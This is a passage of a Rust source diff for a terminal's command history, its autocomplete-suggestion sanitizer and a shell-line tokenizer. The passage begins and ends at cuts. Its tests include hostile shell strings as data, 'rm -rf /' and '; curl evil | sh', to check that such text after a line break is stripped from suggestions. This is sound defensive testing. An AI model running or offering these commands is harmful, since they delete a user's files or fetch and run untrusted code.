||||
// six columns for the question: a wide character that does not fit is left out
|
||||
let chars: Vec<char> = "\u{4e2d}\u{4e2d}\u{4e2d}\u{4e2d}".chars().collect();
|
||||
let v = view("p", &chars, 0, 9, &wide);
|
||||
assert_eq!(v.lead, "\u{203a} ");
|
||||
assert_eq!(v.text, "\u{4e2d}\u{4e2d}\u{4e2d}");
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,461 @@
|
||||
//! The terminal's own history of commands: the lines it saw run in its panes,
|
||||
//! kept for the suggestions it draws after the cursor. It is not the shell's
|
||||
//! history file, and never reads one.
|
||||
//!
|
||||
//! What is kept of a command: its text, how it ended, the directory it ran in
|
||||
//! and when. What is never kept: a line that starts with a space (the shells'
|
||||
//! own way of saying "do not remember this"), a line of several lines, a
|
||||
//! command that was not found, anything with a control character in it. A
|
||||
//! pane marked private records nothing, which is the caller's to see to.
|
||||
//!
|
||||
//! The file is the person's alone (mode 0600), one command a line, appended
|
||||
//! to as commands run and rewritten smaller when it has grown.
|
||||
|
||||
use std::io::Write;
|
||||
use std::path::Path;
|
||||
|
||||
/// The first line of the file.
|
||||
pub const HEADER: &str = "# llembas-tty history 1";
|
||||
/// The most bytes of one command that are kept.
|
||||
pub const MAX_COMMAND_BYTES: usize = 2000;
|
||||
/// An exit status that is not known.
|
||||
pub const NO_EXIT: i32 = -1;
|
||||
/// The shells' exit status for a command that does not exist.
|
||||
const NOT_FOUND: i32 = 127;
|
||||
|
||||
#[derive(Debug, Clone, PartialEq, Eq)]
|
||||
pub struct Entry {
|
||||
pub command: String,
|
||||
/// Its exit status, or [`NO_EXIT`].
|
||||
pub exit: i32,
|
||||
/// The directory it ran in; empty when not known.
|
||||
pub cwd: String,
|
||||
/// When it ended, seconds since the epoch.
|
||||
pub time: u64,
|
||||
}
|
||||
|
||||
/// Is this a command the history keeps?
|
||||
pub fn accepts(command: &str, exit: i32) -> bool {
|
||||
if command.starts_with(' ') || exit == NOT_FOUND {
|
||||
return false;
|
||||
}
|
||||
let trimmed = command.trim();
|
||||
!trimmed.is_empty()
|
||||
&& trimmed.len() <= MAX_COMMAND_BYTES
|
||||
&& !trimmed.chars().any(|c| c.is_control())
|
||||
}
|
||||
|
||||
fn escape(text: &str) -> String {
|
||||
let mut out = String::with_capacity(text.len());
|
||||
for c in text.chars() {
|
||||
match c {
|
||||
'\\' => out.push_str("\\\\"),
|
||||
'\t' => out.push_str("\\t"),
|
||||
'\n' => out.push_str("\\n"),
|
||||
'\r' => out.push_str("\\r"),
|
||||
c => out.push(c),
|
||||
}
|
||||
}
|
||||
out
|
||||
}
|
||||
|
||||
fn unescape(text: &str) -> String {
|
||||
let mut out = String::with_capacity(text.len());
|
||||
let mut chars = text.chars();
|
||||
while let Some(c) = chars.next() {
|
||||
if c != '\\' {
|
||||
out.push(c);
|
||||
continue;
|
||||
}
|
||||
match chars.next() {
|
||||
Some('t') => out.push('\t'),
|
||||
Some('n') => out.push('\n'),
|
||||
Some('r') => out.push('\r'),
|
||||
Some(other) => out.push(other),
|
||||
None => out.push('\\'),
|
||||
}
|
||||
}
|
||||
out
|
||||
}
|
||||
|
||||
impl Entry {
|
||||
/// The entry as one line of the file, without the line break.
|
||||
pub fn to_line(&self) -> String {
|
||||
format!(
|
||||
"{}\t{}\t{}\t{}",
|
||||
self.time,
|
||||
self.exit,
|
||||
escape(&self.cwd),
|
||||
escape(&self.command)
|
||||
)
|
||||
}
|
||||
|
||||
/// An entry from a line of the file; `None` for a line that is not one.
|
||||
pub fn from_line(line: &str) -> Option<Entry> {
|
||||
let mut parts = line.splitn(4, '\t');
|
||||
let time = parts.next()?.parse::<u64>().ok()?;
|
||||
let exit = parts.next()?.parse::<i32>().ok()?;
|
||||
let cwd = unescape(parts.next()?);
|
||||
let command = unescape(parts.next()?);
|
||||
if !accepts(&command, exit) {
|
||||
return None;
|
||||
}
|
||||
Some(Entry {
|
||||
command,
|
||||
exit,
|
||||
cwd,
|
||||
time,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Default)]
|
||||
pub struct History {
|
||||
/// The oldest first; each command once.
|
||||
entries: Vec<Entry>,
|
||||
max: usize,
|
||||
}
|
||||
|
||||
impl History {
|
||||
pub fn new(max: usize) -> Self {
|
||||
History {
|
||||
entries: Vec::new(),
|
||||
max,
|
||||
}
|
||||
}
|
||||
|
||||
pub fn len(&self) -> usize {
|
||||
self.entries.len()
|
||||
}
|
||||
|
||||
pub fn is_empty(&self) -> bool {
|
||||
self.entries.is_empty()
|
||||
}
|
||||
|
||||
pub fn entries(&self) -> &[Entry] {
|
||||
&self.entries
|
||||
}
|
||||
|
||||
pub fn clear(&mut self) {
|
||||
self.entries.clear();
|
||||
}
|
||||
|
||||
/// Keep a command. A command that is there already moves to the newest
|
||||
/// place; the oldest go when there are more than `max`. Returns whether it
|
||||
/// was kept.
|
||||
pub fn add(&mut self, entry: Entry) -> bool {
|
||||
if self.max == 0 || !accepts(&entry.command, entry.exit) {
|
||||
return false;
|
||||
}
|
||||
let mut entry = entry;
|
||||
entry.command = entry.command.trim().to_string();
|
||||
self.entries.retain(|e| e.command != entry.command);
|
||||
self.entries.push(entry);
|
||||
if self.entries.len() > self.max {
|
||||
let extra = self.entries.len() - self.max;
|
||||
self.entries.drain(0..extra);
|
||||
}
|
||||
true
|
||||
}
|
||||
|
||||
/// The rest of the newest command that starts with what is typed; `None`
|
||||
/// when there is none, or nothing is typed.
|
||||
pub fn suggest(&self, typed: &str) -> Option<&str> {
|
||||
if typed.is_empty() || typed.starts_with(' ') {
|
||||
return None;
|
||||
}
|
||||
for entry in self.entries.iter().rev() {
|
||||
if entry.command.len() > typed.len() && entry.command.starts_with(typed) {
|
||||
return Some(&entry.command[typed.len()..]);
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
|
||||
/// Read a history from the text of its file. Lines that are not entries
|
||||
/// are passed over. Returns the history and how many lines the text had.
|
||||
pub fn parse(text: &str, max: usize) -> (History, usize) {
|
||||
let mut history = History::new(max);
|
||||
let mut lines = 0;
|
||||
for line in text.lines() {
|
||||
lines += 1;
|
||||
if line.starts_with('#') {
|
||||
continue;
|
||||
}
|
||||
if let Some(entry) = Entry::from_line(line) {
|
||||
history.add(entry);
|
||||
}
|
||||
}
|
||||
(history, lines)
|
||||
}
|
||||
|
||||
/// The whole history as the text of its file.
|
||||
pub fn serialize(&self) -> String {
|
||||
let mut out = String::from(HEADER);
|
||||
out.push('\n');
|
||||
for entry in &self.entries {
|
||||
out.push_str(&entry.to_line());
|
||||
out.push('\n');
|
||||
}
|
||||
out
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(unix)]
|
||||
fn private_options() -> std::fs::OpenOptions {
|
||||
use std::os::unix::fs::OpenOptionsExt;
|
||||
let mut options = std::fs::OpenOptions::new();
|
||||
options.mode(0o600);
|
||||
options
|
||||
}
|
||||
|
||||
#[cfg(not(unix))]
|
||||
fn private_options() -> std::fs::OpenOptions {
|
||||
std::fs::OpenOptions::new()
|
||||
}
|
||||
|
||||
/// Read the history file. A file that is not there is an empty history. When
|
||||
/// the file has grown to more than twice what is kept, it is rewritten.
|
||||
pub fn load(path: &Path, max: usize) -> std::io::Result<History> {
|
||||
let text = match std::fs::read_to_string(path) {
|
||||
Ok(text) => text,
|
||||
Err(err) if err.kind() == std::io::ErrorKind::NotFound => return Ok(History::new(max)),
|
||||
Err(err) => return Err(err),
|
||||
};
|
||||
let (history, lines) = History::parse(&text, max);
|
||||
if lines > max.saturating_mul(2) + 16 {
|
||||
save(path, &history)?;
|
||||
}
|
||||
Ok(history)
|
||||
}
|
||||
|
||||
/// Write the whole history: to a file beside it that is the person's alone,
|
||||
/// then moved over it.
|
||||
pub fn save(path: &Path, history: &History) -> std::io::Result<()> {
|
||||
if let Some(dir) = path.parent() {
|
||||
std::fs::create_dir_all(dir)?;
|
||||
}
|
||||
let mut tmp = path.as_os_str().to_owned();
|
||||
tmp.push(format!(".{}.tmp", std::process::id()));
|
||||
let tmp = std::path::PathBuf::from(tmp);
|
||||
let _ = std::fs::remove_file(&tmp);
|
||||
let result = (|| {
|
||||
let mut file = private_options().write(true).create_new(true).open(&tmp)?;
|
||||
file.write_all(history.serialize().as_bytes())?;
|
||||
file.sync_all()?;
|
||||
std::fs::rename(&tmp, path)
|
||||
})();
|
||||
if result.is_err() {
|
||||
let _ = std::fs::remove_file(&tmp);
|
||||
}
|
||||
result
|
||||
}
|
||||
|
||||
/// Add one command to the end of the file, making the file (the person's
|
||||
/// alone) when it is not there.
|
||||
pub fn append(path: &Path, entry: &Entry) -> std::io::Result<()> {
|
||||
if let Some(dir) = path.parent() {
|
||||
std::fs::create_dir_all(dir)?;
|
||||
}
|
||||
let mut file = private_options().append(true).create(true).open(path)?;
|
||||
let mut text = String::new();
|
||||
if file.metadata()?.len() == 0 {
|
||||
text.push_str(HEADER);
|
||||
text.push('\n');
|
||||
}
|
||||
text.push_str(&entry.to_line());
|
||||
text.push('\n');
|
||||
file.write_all(text.as_bytes())
|
||||
}
|
||||
|
||||
/// Forget everything: the file is removed.
|
||||
pub fn remove(path: &Path) -> std::io::Result<()> {
|
||||
match std::fs::remove_file(path) {
|
||||
Ok(()) => Ok(()),
|
||||
Err(err) if err.kind() == std::io::ErrorKind::NotFound => Ok(()),
|
||||
Err(err) => Err(err),
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
use std::sync::atomic::{AtomicUsize, Ordering};
|
||||
|
||||
fn entry(command: &str, exit: i32) -> Entry {
|
||||
Entry {
|
||||
command: command.to_string(),
|
||||
exit,
|
||||
cwd: "/home/user/project".to_string(),
|
||||
time: 1700000000,
|
||||
}
|
||||
}
|
||||
|
||||
/// A directory of its own for one test.
|
||||
fn scratch(name: &str) -> std::path::PathBuf {
|
||||
static N: AtomicUsize = AtomicUsize::new(0);
|
||||
let dir = std::env::temp_dir().join(format!(
|
||||
"llembas-line-test-{}-{}-{}",
|
||||
std::process::id(),
|
||||
N.fetch_add(1, Ordering::SeqCst),
|
||||
name
|
||||
));
|
||||
let _ = std::fs::remove_dir_all(&dir);
|
||||
std::fs::create_dir_all(&dir).unwrap();
|
||||
dir
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn what_is_kept_and_what_is_not() {
|
||||
assert!(accepts("git status", 0));
|
||||
assert!(
|
||||
accepts("make test", 2),
|
||||
"a command that failed is still one"
|
||||
);
|
||||
assert!(accepts("ls", NO_EXIT));
|
||||
assert!(
|
||||
!accepts(" export TOKEN=secret", 0),
|
||||
"a line that starts with a space"
|
||||
);
|
||||
assert!(!accepts("gti status", 127), "a command that was not found");
|
||||
assert!(!accepts("", 0));
|
||||
assert!(!accepts(" ", 0));
|
||||
assert!(!accepts("echo a\necho b", 0), "several lines");
|
||||
assert!(!accepts("echo \u{1b}[31m", 0), "a control character");
|
||||
let long: String = std::iter::repeat('a').take(MAX_COMMAND_BYTES + 1).collect();
|
||||
assert!(!accepts(&long, 0));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn adding() {
|
||||
let mut h = History::new(3);
|
||||
assert!(h.add(entry("one", 0)));
|
||||
assert!(h.add(entry("two ", 0)));
|
||||
assert!(!h.add(entry(" secret", 0)));
|
||||
assert!(h.add(entry("one", 1)));
|
||||
let commands: Vec<&str> = h.entries().iter().map(|e| e.command.as_str()).collect();
|
||||
assert_eq!(
|
||||
commands,
|
||||
vec!["two", "one"],
|
||||
"each once, the newest last, trimmed"
|
||||
);
|
||||
assert_eq!(h.entries()[1].exit, 1, "and as it last ended");
|
||||
h.add(entry("three", 0));
|
||||
h.add(entry("four", 0));
|
||||
assert_eq!(h.len(), 3);
|
||||
assert_eq!(h.entries()[0].command, "one", "the oldest went");
|
||||
let mut none = History::new(0);
|
||||
assert!(
|
||||
!none.add(entry("x", 0)),
|
||||
"a history of nothing keeps nothing"
|
||||
);
|
||||
assert!(none.is_empty());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn suggesting() {
|
||||
let mut h = History::new(10);
|
||||
h.add(entry("git status", 0));
|
||||
h.add(entry("git stash pop", 0));
|
||||
h.add(entry("ls -la", 0));
|
||||
assert_eq!(
|
||||
h.suggest("git st"),
|
||||
Some("ash pop"),
|
||||
"the newest that starts so"
|
||||
);
|
||||
assert_eq!(h.suggest("git stat"), Some("us"));
|
||||
assert_eq!(h.suggest("git status"), None, "nothing left to offer");
|
||||
assert_eq!(h.suggest("l"), Some("s -la"));
|
||||
assert_eq!(h.suggest(""), None, "nothing typed");
|
||||
assert_eq!(
|
||||
h.suggest(" git"),
|
||||
None,
|
||||
"a line that asks not to be remembered"
|
||||
);
|
||||
assert_eq!(h.suggest("cargo"), None);
|
||||
assert_eq!(h.suggest("Git"), None, "as typed, not folded");
|
||||
h.clear();
|
||||
assert_eq!(h.suggest("git"), None);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn the_file_text() {
|
||||
let mut h = History::new(10);
|
||||
h.add(Entry {
|
||||
command: "echo a\\tb".to_string(),
|
||||
exit: 0,
|
||||
cwd: "/tmp/with\ttab".to_string(),
|
||||
time: 5,
|
||||
});
|
||||
h.add(entry("ls", 2));
|
||||
let text = h.serialize();
|
||||
assert_eq!(
|
||||
text,
|
||||
"# llembas-tty history 1\n5\t0\t/tmp/with\\ttab\techo a\\\\tb\n1700000000\t2\t/home/user/project\tls\n"
|
||||
);
|
||||
let (back, lines) = History::parse(&text, 10);
|
||||
assert_eq!(lines, 3);
|
||||
assert_eq!(back.entries(), h.entries());
|
||||
// lines that are not entries are passed over, never an error
|
||||
let (odd, _) = History::parse(
|
||||
"nonsense\n1\t0\n\nx\t0\t/\tls\n7\t0\t/\t secret\n8\t127\t/\tgti\n9\t0\t/\tok\n",
|
||||
10,
|
||||
);
|
||||
assert_eq!(odd.len(), 1);
|
||||
assert_eq!(odd.entries()[0].command, "ok");
|
||||
// only the newest are kept
|
||||
let (few, _) = History::parse("1\t0\t/\ta\n2\t0\t/\tb\n3\t0\t/\tc\n", 2);
|
||||
assert_eq!(few.entries()[0].command, "b");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn the_file_itself() {
|
||||
let dir = scratch("file");
|
||||
let path = dir.join("sub").join("history");
|
||||
assert!(
|
||||
load(&path, 10).unwrap().is_empty(),
|
||||
"no file: an empty history"
|
||||
);
|
||||
append(&path, &entry("git status", 0)).unwrap();
|
||||
append(&path, &entry("ls", 0)).unwrap();
|
||||
let text = std::fs::read_to_string(&path).unwrap();
|
||||
assert!(text.starts_with("# llembas-tty history 1\n"));
|
||||
assert_eq!(text.lines().count(), 3);
|
||||
#[cfg(unix)]
|
||||
{
|
||||
use std::os::unix::fs::PermissionsExt;
|
||||
let mode = std::fs::metadata(&path).unwrap().permissions().mode() & 0o777;
|
||||
assert_eq!(mode, 0o600, "the person's alone");
|
||||
}
|
||||
let h = load(&path, 10).unwrap();
|
||||
assert_eq!(h.len(), 2);
|
||||
assert_eq!(h.suggest("git"), Some(" status"));
|
||||
remove(&path).unwrap();
|
||||
remove(&path).unwrap();
|
||||
assert!(load(&path, 10).unwrap().is_empty());
|
||||
std::fs::remove_dir_all(&dir).unwrap();
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_file_that_grew_is_rewritten_smaller() {
|
||||
let dir = scratch("grow");
|
||||
let path = dir.join("history");
|
||||
for i in 0..40 {
|
||||
append(&path, &entry(&format!("command {}", i % 5), 0)).unwrap();
|
||||
}
|
||||
assert_eq!(std::fs::read_to_string(&path).unwrap().lines().count(), 41);
|
||||
let h = load(&path, 3).unwrap();
|
||||
assert_eq!(h.len(), 3);
|
||||
let text = std::fs::read_to_string(&path).unwrap();
|
||||
assert_eq!(text.lines().count(), 4, "the header and the three kept");
|
||||
#[cfg(unix)]
|
||||
{
|
||||
use std::os::unix::fs::PermissionsExt;
|
||||
let mode = std::fs::metadata(&path).unwrap().permissions().mode() & 0o777;
|
||||
assert_eq!(mode, 0o600, "still the person's alone");
|
||||
}
|
||||
let files: Vec<_> = std::fs::read_dir(&dir).unwrap().collect();
|
||||
assert_eq!(files.len(), 1, "nothing left beside it");
|
||||
std::fs::remove_dir_all(&dir).unwrap();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,18 @@
|
||||
//! LLeMbas TTY: what the terminal decides about a line of text, with no
|
||||
//! terminal in it.
|
||||
//!
|
||||
//! - [`editor`]: the ask line's own small line editor, and how it fits a row.
|
||||
//! - [`zone`]: the shell's input line, read from the cells of the screen.
|
||||
//! - [`history`]: the terminal's own history of commands it saw run.
|
||||
//! - [`suggest`]: what is offered after the cursor, and how much a key takes.
|
||||
//! - [`tokens`]: the parts of a shell command line, for its colours.
|
||||
//!
|
||||
//! Everything takes plain values and returns plain values. Text that came
|
||||
//! from a pane, a file or a model is text here and nothing else: it is never
|
||||
//! run, and nothing in it survives that could act on a terminal.
|
||||
|
||||
pub mod editor;
|
||||
pub mod history;
|
||||
pub mod suggest;
|
||||
pub mod tokens;
|
||||
pub mod zone;
|
||||
@@ -0,0 +1,173 @@
|
||||
//! What is offered after the cursor, and how much of it a key takes.
|
||||
//!
|
||||
//! A suggestion is text offered. Taking it puts it on the shell's line as if
|
||||
//! typed; nothing here runs anything, and nothing in a suggestion can act as
|
||||
//! a key: it is one line with no control character in it.
|
||||
|
||||
/// The most characters a suggestion may have.
|
||||
pub const MAX_CHARS: usize = 500;
|
||||
|
||||
/// Where a suggestion came from.
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
|
||||
pub enum Source {
|
||||
/// The terminal's own history of commands.
|
||||
History,
|
||||
/// LLeMbas (the autocomplete model).
|
||||
Ai,
|
||||
}
|
||||
|
||||
/// The rest of a line as it may be offered: one line, no control character,
|
||||
/// not endless; `None` when nothing is left of it.
|
||||
pub fn clean_rest(rest: &str) -> Option<String> {
|
||||
let line = rest
|
||||
.split(|c: char| c == '\n' || c == '\r')
|
||||
.next()
|
||||
.unwrap_or("");
|
||||
let cleaned: String = line
|
||||
.chars()
|
||||
.filter(|c| !c.is_control())
|
||||
.take(MAX_CHARS)
|
||||
.collect();
|
||||
if cleaned.trim().is_empty() {
|
||||
None
|
||||
} else {
|
||||
Some(cleaned)
|
||||
}
|
||||
}
|
||||
|
||||
/// What a model answered for a line, as the rest of that line. A model may
|
||||
/// repeat what was typed before going on: then only what follows is the rest.
|
||||
pub fn clean_completion(answer: &str, typed: &str) -> Option<String> {
|
||||
let first = answer
|
||||
.split(|c: char| c == '\n' || c == '\r')
|
||||
.next()
|
||||
.unwrap_or("");
|
||||
let rest = if !typed.is_empty() && first.starts_with(typed) {
|
||||
&first[typed.len()..]
|
||||
} else {
|
||||
first
|
||||
};
|
||||
clean_rest(rest)
|
||||
}
|
||||
|
||||
/// The first word of a suggestion, with the spaces before it: what "take one
|
||||
/// word" takes.
|
||||
pub fn first_word(rest: &str) -> &str {
|
||||
let mut end = rest.len();
|
||||
let mut in_word = false;
|
||||
for (i, c) in rest.char_indices() {
|
||||
if c.is_whitespace() {
|
||||
if in_word {
|
||||
end = i;
|
||||
break;
|
||||
}
|
||||
} else {
|
||||
in_word = true;
|
||||
}
|
||||
}
|
||||
&rest[..end]
|
||||
}
|
||||
|
||||
/// A suggestion as it fits in `room` columns after the cursor: cut with an
|
||||
/// ellipsis when it is longer. `width` gives the columns a character takes.
|
||||
pub fn fit(rest: &str, room: usize, width: &dyn Fn(char) -> usize) -> String {
|
||||
let total: usize = rest.chars().map(|c| width(c)).sum();
|
||||
if total <= room {
|
||||
return rest.to_string();
|
||||
}
|
||||
if room == 0 {
|
||||
return String::new();
|
||||
}
|
||||
let mut out = String::new();
|
||||
let mut used = 0;
|
||||
for c in rest.chars() {
|
||||
let w = width(c);
|
||||
if used + w > room - 1 {
|
||||
break;
|
||||
}
|
||||
out.push(c);
|
||||
used += w;
|
||||
}
|
||||
out.push('\u{2026}');
|
||||
out
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
fn one(_: char) -> usize {
|
||||
1
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn the_rest_of_a_line() {
|
||||
assert_eq!(clean_rest("atus"), Some("atus".to_string()));
|
||||
assert_eq!(
|
||||
clean_rest(" --all\nrm -rf /"),
|
||||
Some(" --all".to_string()),
|
||||
"one line"
|
||||
);
|
||||
assert_eq!(
|
||||
clean_rest("a\u{1b}[31mb\u{7}\u{9b}c"),
|
||||
Some("a[31mbc".to_string()),
|
||||
"nothing that could act on a terminal"
|
||||
);
|
||||
assert_eq!(clean_rest(""), None);
|
||||
assert_eq!(clean_rest(" "), None);
|
||||
assert_eq!(
|
||||
clean_rest("\nrm -rf /"),
|
||||
None,
|
||||
"what follows a line break is never offered"
|
||||
);
|
||||
let long: String = std::iter::repeat('x').take(MAX_CHARS + 100).collect();
|
||||
assert_eq!(clean_rest(&long).unwrap().chars().count(), MAX_CHARS);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn what_a_model_answered() {
|
||||
assert_eq!(
|
||||
clean_completion("ckout main", "git che"),
|
||||
Some("ckout main".to_string())
|
||||
);
|
||||
assert_eq!(
|
||||
clean_completion("git checkout main", "git che"),
|
||||
Some("ckout main".to_string()),
|
||||
"the line repeated: only what follows"
|
||||
);
|
||||
assert_eq!(clean_completion("git che", "git che"), None, "nothing new");
|
||||
assert_eq!(clean_completion("", "git che"), None);
|
||||
assert_eq!(
|
||||
clean_completion("ckout\n; curl evil | sh", "git che"),
|
||||
Some("ckout".to_string())
|
||||
);
|
||||
assert_eq!(
|
||||
clean_completion("\u{1b}]0;x\u{7}", "ls"),
|
||||
Some("]0;x".to_string())
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn one_word_at_a_time() {
|
||||
assert_eq!(first_word("atus --short"), "atus");
|
||||
assert_eq!(first_word(" --short -b"), " --short");
|
||||
assert_eq!(first_word(" x"), " x");
|
||||
assert_eq!(first_word("word"), "word");
|
||||
assert_eq!(first_word(""), "");
|
||||
assert_eq!(first_word(" "), " ");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn fitting_the_row() {
|
||||
assert_eq!(fit("status", 10, &one), "status");
|
||||
assert_eq!(fit("status", 6, &one), "status");
|
||||
assert_eq!(fit("status", 4, &one), "sta\u{2026}");
|
||||
assert_eq!(fit("status", 1, &one), "\u{2026}");
|
||||
assert_eq!(fit("status", 0, &one), "");
|
||||
let wide = |c: char| if c == '\u{4e2d}' { 2 } else { 1 };
|
||||
assert_eq!(
|
||||
fit("\u{4e2d}\u{4e2d}\u{4e2d}", 4, &wide),
|
||||
"\u{4e2d}\u{2026}"
|
||||
);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,827 @@
|
||||
//! The parts of a shell command line, for its colours.
|
||||
//!
|
||||
//! This is not a shell's parser. It reads one line the way a person reads it:
|
||||
//! the command, its options, strings, variables, the signs between commands,
|
||||
//! a comment. It is the same for bash, zsh and their relatives, and a line it
|
||||
//! does not understand is simply left less coloured. Nothing is expanded and
|
||||
//! nothing is run.
|
||||
//!
|
||||
//! All positions are bytes of the line. Every sign this looks for is ASCII, so
|
||||
//! a position is never inside a character.
|
||||
|
||||
/// What a part of the line is.
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
|
||||
pub enum Kind {
|
||||
/// The plain text of a word that stands where a command stands.
|
||||
Command,
|
||||
/// The plain text of any other word.
|
||||
Word,
|
||||
/// A word that begins with `-`.
|
||||
Option,
|
||||
/// A quoted string.
|
||||
String,
|
||||
/// `$name`, `${…}`, and the name of an assignment.
|
||||
Variable,
|
||||
/// A sign between commands, or a redirection.
|
||||
Operator,
|
||||
/// `#` to the end of the line.
|
||||
Comment,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
|
||||
pub struct Token {
|
||||
pub start: usize,
|
||||
pub end: usize,
|
||||
pub kind: Kind,
|
||||
}
|
||||
|
||||
/// What a whole word is to the command line.
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
|
||||
pub enum Role {
|
||||
Command,
|
||||
Argument,
|
||||
Option,
|
||||
/// `NAME=value` before a command.
|
||||
Assignment,
|
||||
/// The file of a redirection.
|
||||
Target,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, PartialEq, Eq)]
|
||||
pub struct Word {
|
||||
pub start: usize,
|
||||
pub end: usize,
|
||||
pub role: Role,
|
||||
/// What the word says with its quotes taken off, for a command, an
|
||||
/// argument or a target; `None` when that cannot be known without the
|
||||
/// shell (a variable, a pattern).
|
||||
pub value: Option<String>,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Default, PartialEq, Eq)]
|
||||
pub struct Parsed {
|
||||
/// The coloured parts, in order, never overlapping.
|
||||
pub tokens: Vec<Token>,
|
||||
pub words: Vec<Word>,
|
||||
}
|
||||
|
||||
/// Words after which another command stands.
|
||||
const BEFORE_A_COMMAND: &[&str] = &[
|
||||
"!", "builtin", "command", "do", "doas", "elif", "else", "exec", "if", "nohup", "sudo", "then",
|
||||
"time", "until", "while",
|
||||
];
|
||||
|
||||
/// What every shell of the family knows without looking in `PATH`: its own
|
||||
/// words and its built-in commands.
|
||||
const BUILTINS: &[&str] = &[
|
||||
"!", ".", ":", "[", "[[", "alias", "bg", "bind", "break", "builtin", "case", "cd", "command",
|
||||
"continue", "declare", "dirs", "disown", "do", "done", "echo", "elif", "else", "esac", "eval",
|
||||
"exec", "exit", "export", "false", "fc", "fg", "fi", "for", "function", "getopts", "hash",
|
||||
"help", "history", "if", "in", "jobs", "kill", "let", "local", "logout", "popd", "printf",
|
||||
"pushd", "pwd", "read", "readonly", "return", "select", "set", "shift", "shopt", "source",
|
||||
"suspend", "test", "then", "time", "times", "trap", "true", "type", "typeset", "ulimit",
|
||||
"umask", "unalias", "unset", "until", "wait", "while",
|
||||
];
|
||||
|
||||
pub fn is_builtin(name: &str) -> bool {
|
||||
BUILTINS.contains(&name)
|
||||
}
|
||||
|
||||
fn is_name_start(c: u8) -> bool {
|
||||
c.is_ascii_alphabetic() || c == b'_'
|
||||
}
|
||||
|
||||
fn is_name_char(c: u8) -> bool {
|
||||
c.is_ascii_alphanumeric() || c == b'_'
|
||||
}
|
||||
|
||||
/// From an opening `'` at `j` to after its closing one (or the end).
|
||||
fn skip_single(b: &[u8], j: usize) -> usize {
|
||||
let mut k = j + 1;
|
||||
while k < b.len() {
|
||||
if b[k] == b'\'' {
|
||||
return k + 1;
|
||||
}
|
||||
k += 1;
|
||||
}
|
||||
b.len()
|
||||
}
|
||||
|
||||
/// From an opening quote at `j` to after its closing one (or the end), where a
|
||||
/// backslash takes the character after it: `"…"` and `$'…'`.
|
||||
fn skip_escaped(b: &[u8], j: usize, quote: u8) -> usize {
|
||||
let mut k = j + 1;
|
||||
while k < b.len() {
|
||||
if b[k] == b'\\' {
|
||||
k += 2;
|
||||
continue;
|
||||
}
|
||||
if b[k] == quote {
|
||||
return k + 1;
|
||||
}
|
||||
k += 1;
|
||||
}
|
||||
b.len()
|
||||
}
|
||||
|
||||
/// The length of the variable that starts with the `$` at `k`; 1 when the `$`
|
||||
/// is only a `$`.
|
||||
fn variable_len(b: &[u8], k: usize) -> usize {
|
||||
let n = b.len();
|
||||
if k + 1 >= n {
|
||||
return 1;
|
||||
}
|
||||
let c = b[k + 1];
|
||||
if c == b'{' {
|
||||
let mut m = k + 2;
|
||||
while m < n {
|
||||
if b[m] == b'}' {
|
||||
return m + 1 - k;
|
||||
}
|
||||
m += 1;
|
||||
}
|
||||
return n - k;
|
||||
}
|
||||
if is_name_start(c) {
|
||||
let mut m = k + 2;
|
||||
while m < n && is_name_char(b[m]) {
|
||||
m += 1;
|
||||
}
|
||||
return m - k;
|
||||
}
|
||||
if c.is_ascii_digit() || b"?!#$*@-".contains(&c) {
|
||||
return 2;
|
||||
}
|
||||
1
|
||||
}
|
||||
|
||||
/// The length of the sign that starts at `i`, when one does.
|
||||
fn operator_len(b: &[u8], i: usize) -> Option<usize> {
|
||||
let n = b.len();
|
||||
let at = |k: usize| -> u8 {
|
||||
if k < n {
|
||||
b[k]
|
||||
} else {
|
||||
0
|
||||
}
|
||||
};
|
||||
let c = b[i];
|
||||
match c {
|
||||
b';' => Some(if at(i + 1) == b';' { 2 } else { 1 }),
|
||||
b'|' => Some(if at(i + 1) == b'|' || at(i + 1) == b'&' {
|
||||
2
|
||||
} else {
|
||||
1
|
||||
}),
|
||||
b'&' => {
|
||||
if at(i + 1) == b'&' {
|
||||
Some(2)
|
||||
} else if at(i + 1) == b'>' {
|
||||
Some(if at(i + 2) == b'>' { 3 } else { 2 })
|
||||
} else {
|
||||
Some(1)
|
||||
}
|
||||
}
|
||||
b'(' | b')' | b'`' => Some(1),
|
||||
b'$' if at(i + 1) == b'(' => Some(2),
|
||||
b'<' | b'>' => Some(redirect_len(b, i)),
|
||||
_ if c.is_ascii_digit() => {
|
||||
// a file descriptor before a redirection: 2> 2>&1
|
||||
let mut k = i;
|
||||
while k < n && b[k].is_ascii_digit() {
|
||||
k += 1;
|
||||
}
|
||||
if at(k) == b'<' || at(k) == b'>' {
|
||||
Some(k - i + redirect_len(b, k))
|
||||
} else {
|
||||
None
|
||||
}
|
||||
}
|
||||
_ => None,
|
||||
}
|
||||
}
|
||||
|
||||
/// The length of the redirection whose `<` or `>` is at `i`.
|
||||
fn redirect_len(b: &[u8], i: usize) -> usize {
|
||||
let n = b.len();
|
||||
let mut k = i + 1;
|
||||
if k < n && b[k] == b[i] {
|
||||
// << >>
|
||||
k += 1;
|
||||
if k < n && b[i] == b'<' && b[k] == b'<' {
|
||||
// <<<
|
||||
